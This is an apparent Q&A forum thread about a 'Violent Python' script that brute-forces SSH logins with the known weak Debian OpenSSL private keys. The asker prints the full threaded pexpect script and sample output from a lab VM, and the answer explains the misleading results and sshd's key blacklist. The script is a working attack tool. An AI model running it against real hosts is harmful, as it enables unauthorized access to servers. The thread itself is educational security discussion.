user_loser
user_loser

Reputation: 871

Weak Debian SSH Keys Python Script Cryptic auth.log

So I am reading this awesome book, "Violent Python". And in Chapter 2 there is a Python script that uses private keys to authenticate to a Debian machine or possibly any machine running an SSH server that has users on it without strong private keys. Below is the script:

#! /usr/bin/env python

import pexpect
import optparse
import os
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

def connect(user, host, keyfile, release):
    global Stop
    global Fails
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + \
                  '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, \
                            ssh_newkey, conn_closed, '$', '#',])
        if ret == 2:
            print '[-] Adding Host to ~/.ssh/known_hosts'
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print '[-] Connection Closed By Remote Host'
            Fails += 1
        elif ret > 3:
            print '[+] Success. ' + str(keyfile)
            Stop = True
    finally:
        if release:
            connection_lock.release()

def main():
    parser = optparse.OptionParser('usage%prog -H ' + \
                                   '<target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', \
                      help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', \
                      help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', \
                      help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user
    if host == None or passDir == None or user == None:
        print parser.usage
        exit(0)

    for filename in os.listdir(passDir):
        if Stop:
            print '[*] Exiting: Key Found.'
            exit(0)
        if Fails > 5:
            print '[!] Exiting: '+ \
                  'Too Many Connections Closed By Remote Host.'
            print '[!] Adjust number of simultaneous threads.'
            exit(0)

        connection_lock.acquire()
        fullpath = os.path.join(passDir, filename)
        print '[-] Testing keyfile ' + str(fullpath)
        t = Thread(target=connect, \
                   args=(user, host, fullpath, True))
        child = t.start()

if __name__ == '__main__':
    main()

The weird thing is when I run this on my internal LAN against a copy of Kali, that is based on Debian, the Python script prints that it has found some vulnerable private keys. I am not sure why it finds several vulnerable keys though for a single user on the OS. When I run the script I specify 1) a host, 2) a username, and 3) a directory full of private keys generated by HD Moore. I had to use the wayback machine to obtain the RSA private keys he generated for the 2048 strength asymmetric algorithm.

Example output:

[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213

Anyways, why does the script say it found numerous private keys for my username on my Debian Kali virtual machine (VM)? I tried to log in with the apparently vulnerable private key with the ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 [email protected] -o PasswordAuthentication=no command but it did not work. Why does it not work? Is the Python script not actually doing what it says it is doing? X-Ray Glasses anyone? Let me go on...

Then I checked the /var/log/auth.log on my Debian Kali VM and it has some interesting and mysterious entries. The log says, Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))

I read the man page for the ssh-vulnkey on the Debian Kali OS and found out that this program could find vulnerable keys on a computer. I tried running this with the -v verbose option and saw that some keys are apparently vulnerable, though I do not understand what the f key is going on.

Does anyone have an easy to understand explanation about 1) why the script returns results that it successfully found a key(s) and 2) what the blacklisted auth.log message means? Also, 3) if it found a vulnerable key why can I not use said key to log into my computer?

Also, should this be moved to information-security?

Wicked Python script by:

O'Connor, TJ (2012-12-28). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Elsevier Science. Kindle Edition.

Upvotes: 0

Views: 371

Answers (1)

Stephan Klein
Stephan Klein

Reputation: 1327

As far as I can tell the script just iterates through the directory and tries to use them as keys to connect to the given SSH server. This is done in threads, so the order of your output is not deterministic. Since we check if the global Stop flag is True before starting new threads it may happen that not all files are checked because one earlier thread already finished successfully and set the flag. This is why it reports that it found a key.

Your SSH daemon blacklists weak keys that were generated by a broken version of OpenSSL. This is a good thing and you can read about it here. That is also why you can't login.

ssh automatically falls back to looking for valid keys in your configuration directory. So the connection does actually succeed, but your command line argument is ignored. Try running the command with -vvv and observe the output:

$ ssh user@host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]

Upvotes: 1

Related Questions